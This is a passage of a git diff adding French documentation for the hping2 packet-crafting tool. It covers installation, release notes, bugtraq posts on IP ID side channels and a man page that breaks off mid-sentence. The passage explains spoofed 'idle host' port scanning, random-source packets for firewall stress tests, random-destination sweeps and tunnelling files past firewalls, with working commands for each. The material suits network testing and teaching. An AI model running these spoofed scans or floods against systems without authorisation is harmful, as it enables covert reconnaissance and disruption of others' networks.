bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms +40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms +... + + comme vous pouvez le voir, ce système n'est pas inactif, il envoie environ + 6 paquets chaque seconde. Maintenant scannez le port 80 de www.yahoo.com + pour voir s'il est ouvert : + +root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes + +[attendre quelques secondes et presser CTRL+C] + +--- www.yahoo.com hping statistic --- +130 packets tramitted, 0 packets received, 100% packet loss +round-trip min/avg/max = 0.0/0.0/0.0 ms + + En observant la sortie de 'hping awake.host.org -p 80 -A -r' il est + simple de comprendre que le port 80 de www.yahoo.com est ouvert : + +40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms +40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms +40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms +40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms +40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms +40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms + + notez que 16+75+12+27+11+1-6 = 136 et que nous avons envoyé 130 paquets. + Ainsi il est très probable que les incréments soient produits par nos + paquets. + + Conseil : en utilisant un système inactif pour réaliser un scan usurpé il + est utile de ne montrer que les réponses qui montrent un + incrément différent de 1. Essayez + `hping host -r | grep -v "id=+1"' diff --git a/docs/french/HPING2-IS-OPEN b/docs/french/HPING2-IS-OPEN new file mode 100644 index 0000000..66031ec --- /dev/null +++ b/docs/french/HPING2-IS-OPEN @@ -0,0 +1,14 @@ +Je voudrais dire deux mots à propos du modèle de développement de hping2. +Hping2 est totalement ouvert à toutes nouvelles contributions et idées, si +vous avez même la plus petite idée afin de rendre hping meilleur ou si vous +faites un patch alors envoyez moi un courrier électronique. Tous les +patches, s'ils ne cassent pas l'ancien code et ne sont pas totalement +inutiles, seront inclus. Je connais nombre de projets sous licence GPL mais +qui sont dans un sens "fermés" puisque chaque nouveau patch est considéré +bouffi ou alors le seul code possible est celui de l'auteur principal : CE +N'EST PAS LE CAS! Également chacune des plus petites contributions +documentaires seront ajoutées à hping2, vous pouvez juste créer un ficher +texte qui expose comment réaliser une tâche avec hping, il sera inclus dans +le répertoire 'docs'. + +antirez diff --git a/docs/french/INSTALL b/docs/french/INSTALL new file mode 100644 index 0000000..25cc02b --- /dev/null +++ b/docs/french/INSTALL @@ -0,0 +1,72 @@ +Vous pouvez compiler hping2 au moins sur : + +Linux +OpenBSD +FreeBSD +NetBSD +Solaris + +Avec Linux vous n'avez besoin d'aucune bibliothèque, ni d'être root, +cependant vous avez besoin d'un uid 0 pour exécuter hping. + +Linux +----- + +merci de suivre les étapes suivantes : + +$ ./configure (essayer d'abord ./configure --help) +$ vi Makefile (facultatif) +$ make +$ su +# make install + +FreeBSD, OpenBSD, NetBSD +------------------------ + +Vous aurez besoin de la libpcap et le l'utilitaire gmake installés sur votre +système. + +$ ./configure +$ gmake +$ su (ou calife) +# gmake install + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +NOTE : vous devez faire attention à votre fichier net/bpf.h en installant + sur les systèmes BSD (spécialement avec OpenBSD). Si votre fichier bpf.h + original a été écrasé avec celui de libpcap alors probablement que hping + ne fonctionnera pas avec certaines interfaces. + + Par exemple si vous utilisez le fichier bpf.h de libpcap sur OpenBSD alors + hping ne fonctionnera pas sur les interfaces PPP. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Solaris +-------- + +$ export CC="gcc" +$ ./configure +$ gmake +$ su +# gmake install + +TOUS +---- + +Si vous avez besoin d'exécuter hping2 avec votre compte normal (c.-à-d. +antirez) essayez les commandes suivantes : + +# chown root:antirez /usr/sbin/hping2 +# chmod 4750 /usr/sbin/hping2 + + ATTENTION : hping2 n'est pas du code de confiance, + je ne l'ai pas audité pour les débordements de + tampons cachés et autres problèmes en relation avec + la sécurité. Cependant si (comme par défaut) + LIMITWHENSUID est défini alors si euid != uid il + n'est pas possible d'utiliser beaucoup d'options + triviallement non sûres. + + le rendre suid n'est pas encouragé. + +antirez diff --git a/docs/french/MORE-FUN-WITH-IPID b/docs/french/MORE-FUN-WITH-IPID new file mode 100644 index 0000000..1c10069 --- /dev/null +++ b/docs/french/MORE-FUN-WITH-IPID @@ -0,0 +1,35 @@ +Posté sur la mailing liste bugtraq (20 Nov 1999) : + +--- +Salut, + +quelques petites nouvelles idées à propos des problèmes du champ IP ID : + +Le premier est à propos du filtrage IP Linux : puisqu'il augmente le +compteur global du champ IP ID même si un paquet sortant sera filtré nous +sommes capables, par exemple, de scanner des ports UDP même si la sortie de +paquets ICMP de type 3 (ndt : port non accessible) est DENY, et en général +il est possible de savoir quand la pile TCP/IP répond à un paquet même si la +réponse est jetée. +Je pense (mais non testé) que ceci est vrai pour la plupart des firewalls. + +Le second problème concerne la capacité à découvrir les règles de filtrage. +Par exemple il est trivial de connaître si un système A filtre les paquets +depuis l'adresse IP X.Y.Z.W en contrôlant l'augmentation du champ IP ID du +système A ou du système avec l'adresse X.Y.Z.W (ceci change si nous sommes +intéressés par la connaissance des règles d'entrée ou de sortie) et en +envoyant les paquets qui supposent une réponse. Également ceci est apparenté +avec la capacité de scanner les ports d'un système qui jette tous les +paquets avec une source différente de systeme.de-confiance.com. Il y a +d'autres choses comme ceci mais elles sont seulement différentes facettes du +même concept. + +Quelques personnes pensent que ce type d'attaques ne sont pas des attaques +du "monde réel", je suis fortement intéressé de savoir quelle est l'opinion +des lecteurs de bugtraq (à mon opinion ce type d'attaques est faisable et +utile pour un attaquant. Par exemple la capacité de scanner les ports avec +seulement des paquets spoofés (ndt : avec l'adresse source usurpée) et la +capacité de deviner le trafic du système distant sont grandement réels). + +ciao, +antirez diff --git a/docs/french/Makefile b/docs/french/Makefile new file mode 100644 index 0000000..a53cee0 --- /dev/null +++ b/docs/french/Makefile @@ -0,0 +1,11 @@ +TXT = hping2-fr.8.txt + +all: $(TXT) + +hping2-fr.8.txt: hping2-fr.8 + #groff -t -e -mandoc -Tlatin1 hping2-fr.8 | col -bx | uniq > hping2-fr.8.txt + #groff -t -e -mandoc -Tlatin1 hping2-fr.8 | uniq > hping2-fr.8.txt + groff -t -e -mandoc -Tlatin1 hping2-fr.8 | LC_ALL=fr_FR.ISO-8859-1 col -bx | uniq > hping2-fr.8.txt + +clean: + rm -f *~ $(TXT) diff --git a/docs/french/NEWS b/docs/french/NEWS new file mode 100644 index 0000000..f442752 --- /dev/null +++ b/docs/french/NEWS @@ -0,0 +1,158 @@ +Ce court document est pour les utilisateurs de hping-beta54 ou des versions +précédentes et les aider à exploiter toutes les nouvelles fonctionnalités de +cette version de hping2 en un temps restreint. Vous pouvez quand même +vouloir lire la nouvelle page man mais ce qui suit vous aidera assurément : + +=== release candidate 2 news + +. Maintenant hping est capable d'envoyer/d'analyser les entêtes IP source + routées. Voir la page du manuel pour plus d'informations. + +. Hping a été presque ré-écrit, au moins toutes les parties les plus + importantes. Vous devriez faire l'expérience d'un code plus lisible, + compact, rapide à compiler. + +. Le nouveau code d'analyse des options vous permet de spécifier des options + abrégées. Vous pouvez maintenant utiliser --tcp-ti au lieu de + --tcp-timestamp par exemple et ainsi de suite. + +. La nouvelle fonctionnalité rand-dest permet d'envoyer le paquet à des + adresses IP aléatoires. Ceci est très utile pour faire des études de + l'Internet ou des scans aléatoires de larges réseaux. + + Par exemple la ligne de commande suivante va envoyer des paquets TCP avec + le bit SYN vers le port 80 de l'espace d'adressage 192.168.0.0/16 + + hping 192.168.x.x --rand-dest -p 80 -S + + Toute occurrence de 'x' est substituée par un nombre aléatoire dans + l'intervalle 0-255. + +. La nouvelle fonctionnalité rand-source permet d'envoyer des paquets avec + des adresses IP sources aléatoires. Utile pour tester quelques conditions + de DoS (ndt : dénis de service) contre des firewalls ou des piles TCP/IP + qui mettent en oeuvre des enregistrements d'informations basées sur + l'adresse IP. + +. La sortie a été un peu améliorée et fixée. + +. L'option "force un port destination incrémental" (++) fonctionne + maintenant avec les paquets UDP et fonctionne mieux avec TCP, depuis + qu'elle est plus sélective avec les réponses en retour. + +. Maintenant vous devriez être réellement capables de fixer les numéros de + séquence et d'acquittement des paquets TCP. Le code rc1 était cassé car + atoi() était utilisé pour obtenir une valeur "unsigned long" (ndt : longue + valeur non signée) + +. La documentation (et la traduction française) a été mise à jour pour + refléter les changements. + +=== release candidate 1 news + +. Maintenant hping fonctionne mieux sur BSD, et fonctionne sur Solaris. Il + devrait être beaucoup plus simple de le porter sur une plate-forme non + supportée. Les problèmes avec les systèmes qui utilisent des pids (ndt : + numéros de processus) sur 32 bits sont fixés. + +. La sortie est différente pour être plus analysable (ndt : par un + programme) et compacte, par exemple : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.5 ms + + maintenant la présence du drapeau IP Don't fragment (ndt : ne pas + fragmenter) est signalé avec 'DF'. tous les champs avec une valeur sont de + la forme 'champ=valeur'. + +. Spécifier l'interface de sortie avec -I n'est plus nécessaire, hping + essayera de détecter la bonne interface selon la table de routage système. + Bien sûr vous pouvez la forcer en utilisant -I. + +. Au lieu de spécifier -i u10000 pour avoir une vitesse de dix paquets par + seconde vous pouvez utiliser --fast. + +. Maintenant --traceroute (-T) implique --ttl 1. Vous pouvez forcer une + valeur en utilisant --ttl. + +. En utilisant hping comme traceroute vous avez maintenant les informations + RTT (ndt : temps aller-retour) à propos des sauts. + +. Vous pouvez surveiller un saut spécifique en mode traceroute, en utilisant + la syntaxe suivante : + + hping2 -T www.yahoo.com --tr-keep-ttl --ttl 5 + + voyez la sortie : + + HPING www.yahoo.com (ippp0 64.58.76.177): NO FLAGS are set, 40 headers + 0 dat + a bytes + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.8 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.9 ms + 5->TTL 0 during transit from 144.232.234.57 (sl-gw18-nyc-2-2.sprintlink.net) + 5->RTT was: 136.7 ms + + --- www.yahoo.com hping statistic --- + 4 packets tramitted, 0 packets received, 100% packet loss + round-trip min/avg/max = 136.7/136.8/136.9 ms + + vous n'avez que les informations sur le 5ème saut, après Ctrl+C le temps + aller-retour min/avg/max (ndt : minimum, moyen, maximum) est calculé en + utilisant les temps de ce saut. + +. En utilisant l'option --tr-stop vous pouvez obtenir que hping s'arrête + quand est reçu le premier paquet correspondant qui n'est pas un ICMP time + exceeded in transit, comme le traceroute original. Sans cela hping + continue d'envoyer des paquets au système cible pour toujours. + +. Vous pouvez utiliser --tr-no-rtt pour supprimer l'information rtt dans le + mode traceroute. + +. Avec la fonctionnalité --tcp-timestamp vous pouvez deviner l'uptime d'un + système distant. Par exemple : + +HPING www.hping.org (ippp0 192.70.106.166): S set, 40 headers + 0 data bytes +56 bytes from 192.70.106.166: flags=SA seq=0 ttl=49 id=28881 win=16080 rtt=105.0 ms + TCP timestamp: 258597761 + +56 bytes from 192.70.106.166: flags=SA seq=1 ttl=49 id=28882 win=16080 rtt=105.4 ms + TCP timestamp: 258597860 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 38 seconds + +56 bytes from 192.70.106.166: flags=SA seq=2 ttl=49 id=28883 win=16080 rtt=105.1 ms + TCP timestamp: 258597960 + HZ seems 100 + System uptime seems: 29 days, 22 hours, 19 minutes, 39 seconds + + +--- www.hping.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss +round-trip min/avg/max = 105.0/105.2/105.4 ms + + Comme vous pouvez voir, la première réponse ne contient pas d'information + de uptime puisque au moins deux paquets sont nécessaires pour estimer la + fréquence d'incrémentation du minuteur du timestamp (qui est HZ dans la + sortie). + +. Vous pouvez maintenant utiliser les requêtes ICMP de timestamp et de + masque réseau. Deux raccourcis sont fournis pour les utiliser : --icmp-ts + et --icmp-addr. + +. Maintenant le traitement du numéro de séquence a été revu pour permettre à + hping de montrer l'information correcte de rtt même si le numéro de + séquence repasse à zéro. + +. Maintenant hping ne devrait jamais (avec un peu de chance) générer une + erreur SIGBUS sur sparc. + +J'espère que vous trouverez hping meilleur à utiliser et plus puissant, ces +améliorations ont été mises en oeuvre grâce à de nombreuses personnes qui +ont beaucoup aidé avec du code et de nouvelles idées, voyez le fichier +CHANGES pour plus d'informations et les crédits. + +amusez vous bien, +antirez \ No newline at end of file diff --git a/docs/french/SPOOFED_SCAN.txt b/docs/french/SPOOFED_SCAN.txt new file mode 100644 index 0000000..c83151a --- /dev/null +++ b/docs/french/SPOOFED_SCAN.txt @@ -0,0 +1,128 @@ +Ce qui suit est le postage original (ndt : du moins sa traduction) à bugtraq +à propos de la méthode de scan usurpée/passive/indirecte. Voir le fichier +HPING2-HOWTO pour plus d'informations. + +antirez + +--- + + Salut, + + J'ai découvert une nouvelle méthode de scan de ports TCP. Au + contraire de toutes les autres elle vous permet de scanner en + utilisant des paquets usurpés (ndt : dont l'adresse IP source est + usurpée), ainsi les systèmes scannés ne peuvent pas voir votre + adresse réelle. Afin de réaliser cela j'utilise trois particularités + bien connues des mises en oeuvre TCP/IP de la plupart des OS. + + (1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible + est ouvert, et RST|ACK si le port TCP cible est fermé. + + (2) * Vous pouvez connaître le nombre de paquets que les systèmes + envoient en utilisant le champ id de l'entête IP. Voir mes + précédents postages 'à propos de l'entête IP' dans cette mailing + liste. + + (3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à + RST. + + + Les joueurs: + + système A - le système malfaisant, l'attaquant. + système B - le système silencieux. + système C - le système victime. + + A est votre système. + B est un système particulier : il ne doit envoyer aucun paquet + pendant que vous scannez C. Il y a énormément de systèmes à 'trafic + nul' sur Internet, spécialement la nuit :) + C est la victime, il doit être vulnérable aux scans SYN. + + J'ai appelé cette méthode de scan 'scan du système muet' (ndt : + l'autre traduction de 'dumb' est bête) en référence aux + caractéristiques du système B. + + + Comment elle fonctionne : + + Le système A surveille le nombre de paquets sortants depuis B en + utilisant le champ id de l'entête IP. Vous pouvez faire ceci + simplement en utilisant hping : + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + Comme vous pouvez le voir, les incréments du champ id sont toujours + de 1. Ainsi ce système a la caractéristique requise pour jouer le + rôle de B. + + Maintenant le système A envoie des paquets SYN au port X de C en + usurpant l'adresse source de B. + (avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez) + si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui, + le système C ne sait pas que le véritable expéditeur est A). Dans ce + cas le système B répond au SYN|ACK avec un RST. + Si nous envoyons au système C quelques paquets SYN il répondra à B + quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi + nous verrons que le système B est en train d'envoyer des paquets ! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + Le port est ouvert ! + + Par contre, si le port X de C est fermé alors en envoyant à C + quelques paquets SYN avec l'adresse usurpée de B, il répondra avec + des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous + verrons que le système B n'est en train d'envoyer aucun paquet : + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + Le port est fermé. + + Tout ceci peut paraître compliqué à réaliser, mais utiliser deux + sessions de hping dans des consoles virtuelles Linux ou sous X rend + cela plus simple. + La première session surveille le système B : hping B -r + La seconde session envoie des paquets SYN spoofés : hping C -a B -S + + Désolé si mon anglais n'est pas clair. + Cependant ce postage n'est pas adéquat pour décrire exhaustivement + cette méthode de scan, ainsi je vais écrire un article à ce sujet, + en particulier comment mettre en oeuvre ceci dans un scanner de + ports (i.e. nmap), et à propos des caractéristiques des joueurs et + des OS utilisés. + +bonne nouvelle année, +antirez diff --git a/docs/french/hping2-fr.8 b/docs/french/hping2-fr.8 new file mode 100644 index 0000000..7fa9d34 --- /dev/null +++ b/docs/french/hping2-fr.8 @@ -0,0 +1,767 @@ +.TH HPING2 8 "2001 Aug 14" +.\" french translation by Denis Ducamp +.SH NOM +hping2 \- envoie des paquets TCP/IP (presque) arbitraires à des systèmes réseaux +.SH RESUME +.B hping2 +[ +.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG +] [ +.B \-c +.I count +] [ +.B \-i +.I wait +] [ +.B \-\-fast +] [ +.B \-I +.I interface +] [ +.B \-9 +.I signature +] [ +.B \-a +.I host +] [ +.B \-t +.I ttl +] [ +.B \-N +.I ip id +] [ +.B \-H +.I ip protocol +] [ +.B \-g +.I fragoff +] [ +.B \-m +.I mtu +] [ +.B \-o +.I tos +] [ +.B \-C +.I icmp type +] [ +.B \-K +.I icmp code +] [ +.B \-s +.I source port +] [ +.B \-p[+][+] +.I dest port +] [ +.B \-w +.I tcp window +] [ +.B \-O +.I tcp offset +] [ +.B \-M +.I tcp sequence number +] [ +.B \-L +.I tcp ack +] [ +.B \-d +.I data size +] [ +.B \-E +.I filename +] [ +.B \-e +.I signature +] [ +.B \-\-icmp\-ipver +.I version +] [ +.B \-\-icmp\-iphlen +.I length +] [ +.B \-\-icmp\-iplen +.I length +] [ +.B \-\-icmp\-ipid +.I id +] [ +.B \-\-icmp\-ipproto +.I protocol +] [ +.B \-\-icmp\-cksum +.I checksum +] [ +.B \-\-icmp\-ts +] [ +.B \-\-icmp\-addr +] [ +.B \-\-tcpexitcode +] [ +.B \-\-tcp-timestamp +] [ +.B \-\-tr-stop +] [ +.B \-\-tr-keep-ttl +] [ +.B \-\-tr-no-rtt +] [ +.B \-\-rand-dest +] [ +.B \-\-rand-source +] +hostname +.br +.ad +.SH DESCRIPTION +hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur +commande et d'afficher les réponses de la cible comme le programme ping le +fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de +paquets et les tailles arbitraires, et peut être utilisé dans le but de +transférer des fichiers encapsulés dans les protocoles supportés. En +utilisant hping2 vous êtes capable d'effectuer au moins les tâches +suivantes : + + - Tester les règles d'un firewall + - Scanner des ports de façon avancée + - Tester les performances réseau en utilisant différents protocoles, tailles de paquets, TOS (type de service) et fragmentation. + - Découverte de "Path MTU" + - Transférer des fichiers même au travers de règles de firewall vraiment fascistes. + - Comme traceroute avec différents protocoles. + - Utilisation comme Firewalk. + - Détermination d'OS à distance. + - Audit de pile TCP/IP. + - Beaucoup d'autres. + +.I C'est également un bon outil didactique pour apprendre TCP/IP. +hping2 est développé et maintenu par antirez@invece.org et est sous la +version 2 de la licence GPL. Le développement est ouvert donc vous pouvez +m'envoyer des patches, suggestions et affronts sans inhibition. +.SH SITE DE HPING +site primaire sur +.BR http://www.hping.org . +Vous pouvez trouver à la fois la version stable et +les instructions pour télécharger le dernier code source sur +http://www.hping.org/download.html +.SH OPTIONS DE BASE +.TP +.I -h --help +Montre l'écran d'aide sur la sortie standard, donc vous pouvez rediriger +vers less. +.TP +.I -v --version +Montre l'information de version et l'API utilisée pour accéder au niveau +données (data link layer), +.I linux sock packet +ou +.IR libpcap . +.TP +.I -c --count count +Arrête après avoir envoyé (et reçu) +.I count +paquets réponse. Après que le dernier paquet a été envoyé hping2 attend +COUNTREACHED_TIMEOUT secondes les réponses du système cible. Vous avez la +possibilité de régler COUNTREACHED_TIMEOUT en éditant hping2.h +.TP +.I -i --interval +Attend le nombre spécifié de secondes ou de micro secondes entre l'envoie de +chaque paquet. +--interval X fixe +.I wait +à X secondes, --interval uX fixe +.I wait +à X micro secondes. Le défaut est d'attendre une seconde entre chaque +paquet. En utilisant hping2 pour transférer des fichiers fixer cette option +est très important pour augmenter le taux de transfert. Même en utilisant +hping2 pour effectuer des scans passifs/avec usurpation d'adresse vous +devriez fixer cette option, voir +.B HPING2-HOWTO +pour plus d'informations. +.TP +.I --fast +Alias pour -i u10000. Hping enverra 10 paquets par seconde. +.TP +.I --faster +Alias pour -i u1. Plus rapide que --fast ;) (mais pas aussi rapide que votre +ordinateur peut envoyer des paquets à cause de la conception basée sur les +signaux). +.TP +.I -n --numeric +Sortie numérique seulement, aucune tentative ne sera faite pour chercher les +noms symboliques pour les adresses système. +.TP +.I -q --quiet +Sortie silencieuse. Rien n'est affiche excepté les lignes de résume au +moment du démarrage et quand c'est fini. +.TP +.I -I --interface interface name +Par défaut sur les systèmes linux et BSD hping2 utilise l'interface de +routage par défaut. Sur d'autres systèmes ou quand il n'y a pas d'interface +de routage par défaut hping2 utilise la première interface non loopback. +Quoi qu'il en soit vous avez la possibilité de forcer hping2 à utiliser +l'interface dont vous avez besoin en utilisant cette option. Note : vous +n'avez pas besoin de spécifier le nom complet, par exemple -I et va +correspondre à eth0 ethernet0 myet1 et cetera. Si aucune interface ne +correspond hping2 essayera d'utiliser lo. +.TP +.I -V --verbose +Active la sortie verbeuse. Les réponses TCP seront affichées comme suit : + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 +.TP +.I -D --debug +Active le mode de débogage, c'est utile quand vous rencontrez quelques +problèmes avec hping2. Quand le mode de débogage est activé vous obtiendrez +plus d'informations à propos +.B de la détection des interfaces, de l'accès au niveau données, du +.B réglage des interfaces, des options d'analyse, de la fragmentation, du +.B protocole HCMP +et d'autres choses. +.TP +.I -z --bind +Lie CTRL+Z au +.B time to live (TTL) +ainsi vous serez capable d'incrémenter/décrémenter le ttl des paquets +sortant en pressant CTRL+Z une ou deux fois. +.TP +.I -Z --unbind +Dé-lie CTRL+Z ainsi vous serez capable d'arrêter hping2 +.SH SELECTION DE PROTOCOLE +Le protocole par défaut est TCP, par défaut hping2 enverra des entêtes TCP +sur le port 0 du système cible avec une winsize (ndt : taille de fenêtre) de +64 sans aucun drapeau TCP activé. Souvent c'est la meilleure manière de +faire un 'ping caché', utile quand la cible est derrière un firewall qui +jette ICMP. De plus un paquet TCP null-flag (ndt : sans drapeau) vers le port +0 a de bonnes probabilités de ne pas être journalisé. +.TP +.I -0 --rawip +Mode RAW IP, dans ce mode hping2 enverra une entête IP avec les données +ajoutées avec --signature et/ou --file, voir également --ipproto qui vous +autorise à fixer le champ protocole IP. +.TP +.I -1 --icmp +Mode ICMP, par défaut hping2 enverra un paquet ICMP echo-request, vous +pouvez fixer un autre type/code ICMP en utilisant les options +.B --icmptype --icmpcode +.TP +.I -2 --udp +Mode UDP, par défaut hping2 enverra des paquets UDP vers le port 0 du +système cible. Les options réglables des entêtes UDP sont les suivantes : +.B --baseport, --destport, --keep. +.TP +.I -8 --scan +Mode scan, l'option attend un argument qui décrit des groupes de ports à +scanner. Les groupes de ports sont séparés par des virgules : un nombre +décrit seulement un port unique, donc 1,2,3 signifie ports 1, 2 et 3. Les +intervalles sont spécifiés en utilisant une notation début-fin, comme +1-1000, qui dit à hping de scanner les ports entre 1 et 1000 (inclus). Le +mot spécial +.B all +est un alors pour 0-65535, pendant que le mot spécial +.B known +inclut tous les ports listés dans /etc/services. +.br +Les groupes peuvent être combinés, donc la commande suivante scannera les +ports entre 1 et 1000 ET le port 8888 ET les ports listés dans +/etc/services: +.B hping --scan 1-1000,8888,known -S target.host.com +.br +Les groupes peuvent être niés (soustraits) en utilisant un caractère ! comme +préfix, donc la ligne de commande suivante scannera tous les ports NON +listés dans /etc/services dans l'intervalle 1-1024 : +.B hping --scan '1-1024,!known' -S target.host.com +.br +Gardez à l'esprit que pendant que hping apparaît beaucoup plus comme un +scanneur de ports dans ce mode, la plupart des options sont toujours +honorées, donc pour effectuer par exemple un scan SYN vous avez besoin de +spécifier l'option +.BR -S , +vous pouvez changer la taille de la fenêtre TCP, le TTL, contrôler la +fragmentation IP comme habituellement, et ainsi de suite. La seule +différence réelle est que le comportement standard de hping est encapsulé +dans un algorithme de scan. +.br +.B Note technique +: Le mode scan utilise une conception basée sur deux +processus, avec de la mémoire partagée pour la synchronisation. +L'algorithlme de scan n'est toujours pas optimal, mais déjà assez rapide. +.br +.B Conseil +: à la différence de la plupart des scanneurs, hping montre quelques +informations intéressantes à propos des paquets reçus, les champs IP ID, TCP +win, TTL, et ainsi de suite, n'oubliez pas de regarder ces informations +additionnelles quand vous effectuez un scan! Quelques fois elles montrent des +détails intéressants. +.TP +.I -9 --listen signature +Mode d'écoute de HPING2, en utilisant cette option hping2 attend les paquets +qui contiennent +.I signature +et exporte de la fin de la +.I signature +à la fin du paquet. Par exemple si hping2 --listen TEST lit un paquet qui +contient +.B 234-09sdflkjs45-TESThello_world +il affichera +.BR hello_world . +.SH OPTIONS IP +.TP +.I -a --spoof hostname +Utiliser cette option dans le but de fixer une fausse adresse source, cette +option assure que le système cible n'obtiendra pas votre adresse réelle. +Quoi qu'il en soit les réponses seront envoyées à l'adresse usurpée, ainsi +vous ne serez pas capable de les voir. Afin de voir comment il est possible +d'effectuer des scans avec des adresses usurpées/passifs voir le fichier +.BR HPING2-HOWTO . + +.TP +.I --rand-source +Cette option active le +.BR "mode source aléatoire" . +hping enverra des paquets avec des adresses sources aléatoires. Il est +intéressant d'utiliser cette option pour stresser les tables d'étât d'un +firewall, et d'autres tables dynamiques basées sur les IP dans les piles +TCP/IP et les firewall logiciels. +.TP +.I --rand-dest +Cette option active le +.BR "mode destination aléatoire" . +hping enverra des paquets à des adresses aléatoires obtenues en suivant la +règle que vous avez spécifiée comme système cible. Vous avez besoin de +spécifier une adresse IP numérique en tant que système cible comme +.BR "10.0.0.x" . +Toutes les occurrences de +.B x +seront remplacées avec un nombre aléatoire dans l'intervalle 0-255. Ainsi +pour obtenir des adresses IP internet dans l'espace IPv4 complet utilisez +quelque chose comme +.BR "hping x.x.x.x --rand-dest" . +Si vous n'êtes pas sûrs du genre d'adresses que votre règle génère essayez +d'utiliser l'option +.B --debug +pour afficher chaque nouvelle adresse destination générée. +.br +.B Attention +: quand cette option est activée hping ne peut pas détecter la bonne +interface +de sortie pour les paquets, ainsi vous devez utiliser l'option +.B --interface +pour sélectionner l'interface de sortie. +.TP +.I -t --ttl time to live +En utilisant cette option vous pouvez fixer le +.B TTL (time to live) +des paquets sortant, il est vraisemblable que vous utiliserez ceci avec les +options +.B --traceroute +ou +.B --bind +Dans le doute essayez +.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." +.TP +.I -N --id +Fixe le champ ip->id . La valeur du champ id par défaut est aléatoire mais +si la fragmentation est activée et que le champ id n'est pas spécifié alors +il sera égal à +.BR "getpid() & 0xFF" , +mettre en oeuvre une meilleure solution est dans la liste TODO (ndt : à faire). +.TP +.I -H --ipproto +Fixe le protocole IP dans le mode RAW IP. +.TP +.I -W --winid +Le champ id des systèmes Windows* avant Win2k ont un byte ordering (ndt : +ordre des +octets) différent, si cette option est activée hping2 affichera proprement +les champs id des réponses de ces Windows. +.TP +.I -r --rel +Affiche les incréments du champ id au lieu du champ id. Voir le fichier +.B HPING2-HOWTO +pour plus d'informations. Les incréments ne sont pas calculés comme +id[N]-id[N-1] mais en utilisant une compensation de pertes de paquets. Voir +le fichier relid.c pour plus d'informations. +.TP +.I -f --frag +Découpe les paquets en fragments, ceci peut être utile afin de tester les +performances de la fragmentation des piles IP et de tester si certains +filtres de paquets sont si faibles 